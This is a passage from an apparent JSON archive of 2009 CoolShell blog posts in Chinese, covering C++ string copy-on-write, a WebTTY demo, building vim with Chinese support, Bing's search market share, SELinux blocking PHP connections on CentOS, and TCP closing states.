\n<p>啊，居然也是4~5秒！你可能在想，我只是做了一个读，没有写嘛，这到底是怎么回事？难道还有读时也拷贝的技术！。</p>\n<p>不错，为了避免了你通过[]操作符获取string内部指针而直接修改字符串的内容，在你使用了the_base[0]后，这个字符串的写时才拷贝技术就失效了。</p>\n<p>C++标准的确就是这样的，C++标准认为，当你通过迭代器或[]获取到string的内部地址的时候，string并不知道你将是要读还是要写。这是它无法确定，为此，当你获取到内部引用后，为了避免不能捕获你的写操作，它在此时废止了写时才拷贝技术！</p>\n<p>这样看来我们在使用COW的时候，一定要注意，如果你不需要对string的内部进行修改，那你就千万不要使用通过[]操作符和迭代器去获取字符串的内部地址引用，如果你一定要这么做，那么你就必须要付出代价。当然，string还提供了一些使迭代器和引用失效的方法。比如说push_back，等， 你在使用[]之后再使用迭代器之后，引用就有可能失效了。那么你又回到了COW的世界！比如下面的一个例子</p>\n<pre class=\"brush:c; highlight:7\">\nint main( )\n{\n    struct timeval time_val;\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin = 0 ;\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    the_base.push_back('y');\n    begin = getcurrenttick();\n    for( int i = 0 ;i\n<p>一切又恢复了正常！如果对[]返回引用进行了操作又会发生情况呢，有兴趣的朋友可以试试！结果非常令人惊讶。</p>\n<p>另外：上述例子是在linux环境下编译的，使用STL是GNU的STL。windows上我用的是vs2003，但是非常明显vs2003一点都不支持COW。</p>\n<p>这篇文章出自<a href=\"http://ridiculousfish.com/blog/archives/2009/09/17/i-didnt-order-that-so-why-is-it-on-my-bill-episode-2/\" target=\"_blank\">http://ridiculousfish.com/blog/archives/2009/09/17/i-didnt-order-that-so-why-is-it-on-my-bill-episode-2/</a> 这里，我使用了它的例子。但是我重新自己组织了内容。</p>\n<p>编写这篇文章的同时，我还参考了耗子的<a href=\"http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx\">《标准C＋＋类string的Copy-On-Write技术》</a>一文<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1443.html\">C++的std::string的“读时也拷贝”技术！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</pre></pre></pre></body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-19 WebTTY！太酷了！.html",
    "content": "<html><body><p>这真是一件很Cool的事，在Web上操作Linux，请访问下面这个链接：</p>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"http://19.testape.com/webtty_page.php\" target=\"_blank\">http://19.testape.com/webtty_page.php</a></p>\n<p>于是你会看到页面中间的红色，一个小操作系统启动了，红色的最下方是一个bash-2.05b#</p>\n<p>试着输入一下命令吧。</p>\n<p>bash-2.05b# uname -a<br/>\nLinux (none) 2.6.18 #2 Mon Dec 29 19:47:06 UTC 2008 i686 GNU/Linux</p>\n<p>命令支持的不多，好像只是一个单机版的虚拟机，一但你打开网页时就起动一个。当然，也不排除其完全是假的，因为太简单了，一切都可以fake出来。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2424.html\"><img alt=\"十条不错的编程观点\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3480.html\"><img alt=\"一些有意思的网站和贴子\" height=\"150\" src=\"../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1313.html\"><img alt=\"Erlang和Python互通\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4131.html\"><img alt=\"WSDL 1.1 中文规范\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4131.html\">WSDL 1.1 中文规范</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1441.html\">WebTTY！太酷了！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-19 编译vim解决中文支持.html",
    "content": "<html><body><p>最近开始抛弃Ubuntu折腾CentOS 5.3(注：无意挑起OS之争)，每当换一个OS，第一个配置的就是VIM。</p>\n<p>介于以前在MacOSX的编译经验，直接三部曲</p>\n<blockquote><p><span style=\"color: #ff0000;\">./configue &amp;&amp; sudo make &amp;&amp; sudo make install</span></p></blockquote>\n<p>解决的问题。  但在CentOS之后发现无论如何都不支持中文。</p>\n<p>通过文档的翻阅和google的搜索，发现了问题出现在编译上。vim支持中文需要2个基本feature：multi_byte和iconv。</p>\n<p><span id=\"more-1432\"></span></p>\n<p>在vim中输入 :version  发现这2个feature都是  – multi_byte 和 – iconv。看来编译的时候参数没有配置对。</p>\n<p>于是重新执行以下代码</p>\n<blockquote><p>./configure –prefix=/usr –with-features=huge<br/>\nsudo make<br/>\nsudo make install</p></blockquote>\n<p>问题就解决了。</p>\n<p>另外vim配置文件从第一行(我是unicode的统一论者)，加上</p>\n<blockquote><p>set enc=utf-8<br/>\nset tenc=utf-8<br/>\nset fenc=utf-8<br/>\nset fencs=utf-8,usc-bom</p></blockquote>\n<p>其实整个问题都很简单。 但是我发现搜索引擎里的资料 不是通过直观的关键字搜出来的。 所以这里做下一个记录，希望对以后的朋友有所帮助。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1432.html\">编译vim解决中文支持</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-22 微软在从Google赢取搜索引擎市场份额.html",
    "content": "<html><body><p>7月到8月，微软市场份额从8.9%到了9.3%;  Google掉了1.7%</p>\n<p>Bing显然让Google有些紧张，不仅Bing在界面上赢得了一部分消费者的好评，而且其在某些垂直领域的深度整合使得Bing的盈利能力具有了相当竞争力。相信Google在幕后紧锣密鼓的测试新界面和新搜索功能的同时，也在严阵以待地部署销售团队（如果经济萧条好转，旅游和健康将会是最先复苏的领域，也是Bing目前占有优势的战场）</p>\n<p>拭目以待吧！</p>\n<p>原文地址：<a href=\"http://news.bbc.co.uk/2/hi/technology/8268356.stm\" style=\"color: #3333cc;\" target=\"_blank\">http://news.bbc.co.uk/2/hi/technology/8268356.stm</a><br/>\n<span id=\"more-1457\"></span></p>\n<h1 style=\"margin-top: 5px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; font-size: 2.4em; font-weight: bolder; padding: 0px;\">Microsoft increases search share</h1>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\"><strong>Microsoft’s Bing search engine is making inroads into Google’s dominance of the search market according to data from US net measurement firm ComScore.</strong></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\"><span style=\"color: #ff0000;\">Its latest figures show Microsoft’s share of the search market has grown from 8.9% in July to 9.3% in August.</span></p>\n<p>The news saw Microsoft’s shares rise while Google’s dipped slightly.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">Microsoft’s modest 9.3% share of the US search market is small but is a significant increase for a new entrant, say analysts.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">The Bing search engine was launched by Microsoft in June 2009 and was followed in July by a search tie-up with rival Yahoo.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">Google is still far and away the search leader, with 65% of the US market.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\"><strong>Tiny ripple</strong></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">Microsoft’s modest 9.3% share of the US search market is small but is a significant increase for a new entrant say analysts.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">The fact Google is losing any market share to Microsoft could indicate that it is no longer the immediate choice for everyone, thinks search expert John Batelle.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">“I think the service is starting to gain footholds with users who see it as a regular alternative to Google,” he wrote in his blog.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">He is a fan of Bing’s newly-released visual search interface.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">“I think it augurs some serious new – and useful – approaches to sifting through massive amounts of related data,” he said.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">In the UK, Bing has also made small inroads into Google’s market share.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\"><span style=\"color: #ff0000;\">In August the number of searches on Bing increased by 5%, while Google searches were down 1.7%, according to UK online measurement firm Nielsen.</span></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">“It is a very tiny ripple but reflects that Microsoft has done a lot of marketing around it and that people are curious about anything new that is launched,” said Alex Burmaster, communications director at Nielsen.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">Google is already working on an update to its current search engine.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; font-size: 13px; margin: 0px;\">Nicknamed “Caffeine” the new version is still in the testing phase and will replace the current engine once tests are complete.</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1457.html\">微软在从Google赢取搜索引擎市场份额</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-26 CentOS上php的问题及Selinux安全设置.html",
    "content": "<html><body><p>最近有位站长在用我们WebIM客户端的时候，无法登录我们的WebIM服务器，十分惊讶。 在我们的用户里尚属首例，其实更惊讶的是我的CentOS也遇到了同样的问题。然后分析了这位站长的HttpResponse , Shamee :( 一样的OS.</p>\n<p>搜了一下，发现的解决方法都是在代码上。 我想可能关键词有错误，因为我坚信我的问题肯定不在代码上，应该是来自OS本身的限制。于是重新debug了一下代码，报错 permission (13) connection。然后直接在洋人的邮件列表里搜了一下。</p>\n<p>问题确定了 是SeLinux(<span style=\"color: #ff6600;\"><em>http://zh.wikipedia.org/wiki/SELinux</em></span>)安全策略的限制。</p>\n<p><span id=\"more-1462\"></span></p>\n<p>这下问题明了了,执行 <span style=\"color: #ff0000;\">/usr/sbin/setenforce 0</span>就能迅速关闭SELINUX，或者<span style=\"color: #ff0000;\">vi /etc/selinux/config</span> 把<span style=\"color: #ff0000;\">enforcing</span>改成<span style=\"color: #ff0000;\">permissive </span>然后<span style=\"color: #ff0000;\">reboot</span>.</p>\n<p>但是我想了一下，就算安全级别为B1的Linux被攻击的可能小，但是总会有面对这种问题的时候，况且这种解决访问本身并不优雅。</p>\n<p>于是想了下 把Apache脱离SeLinux是一个最恰当的办法，于是执行</p>\n<p><code class=\"EnlighterJSRAW\">sudo  setsebool -P httpd_disable_trans 1 &amp;&amp; sudo   /etc/init.d/httpd restart</code></p>\n<p>这样就能保证在SeLinux的光环下,Web服务器行为不受控制。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1462.html\">CentOS上php的问题及Selinux安全设置</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-27 TCP网络关闭的状态变换时序图.html",
    "content": "<html><body><p>TCP共有11个网路状态，其中涉及到关闭的状态有5个。</p>\n<p>在我们编写网络相关程序的时候，这5个状态经常出现。因为这5个状态相互关联，相互纠缠，而且状态变化触发都是由应用触发，但是又涉及操作系统和网络，所以正确的理解TCP 在关闭时网络状态变化情况，为我们诊断网络中各种问题，快速定位故障有着非常重要的作用和意义。</p>\n<p style=\"text-align: left;\">下是是根据W.Richard Stevens的《TCP/IP详解》一书的TCP状态转换图。</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-6310\" height=\"826\" src=\"../wp-content/uploads/2009/09/tcp1.jpg\" title=\"tcp 状态转换图\" width=\"585\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-1484\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-6309\" height=\"746\" src=\"../wp-content/uploads/2009/09/tcp2.jpg\" title=\"tcp 状态转换图 （注释）\" width=\"727\"/> <img alt=\"\" class=\"aligncenter size-full wp-image-6308\" height=\"529\" src=\"../wp-content/uploads/2009/09/tcp3.jpg\" title=\"tcp 连接建立关闭图\" width=\"469\"/> <img alt=\"\" class=\"aligncenter wp-image-6307\" height=\"529\" src=\"../wp-content/uploads/2009/09/tcp3.jpg\" title=\"tcp 连接建图\" width=\"469\"/> <img alt=\"\" class=\"aligncenter wp-image-6306\" height=\"239\" src=\"../wp-content/uploads/2009/09/tcp5.jpg\" title=\"tcp 连接关闭图\" width=\"631\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22263.html\"><img alt=\"从一次经历谈 TIME_WAIT 的那些事\" height=\"150\" src=\"../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11609.html\"><img alt=\"TCP 的那些事儿（下）\" height=\"150\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11564.html\"><img alt=\"TCP 的那些事儿（上）\" height=\"150\" src=\"../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" 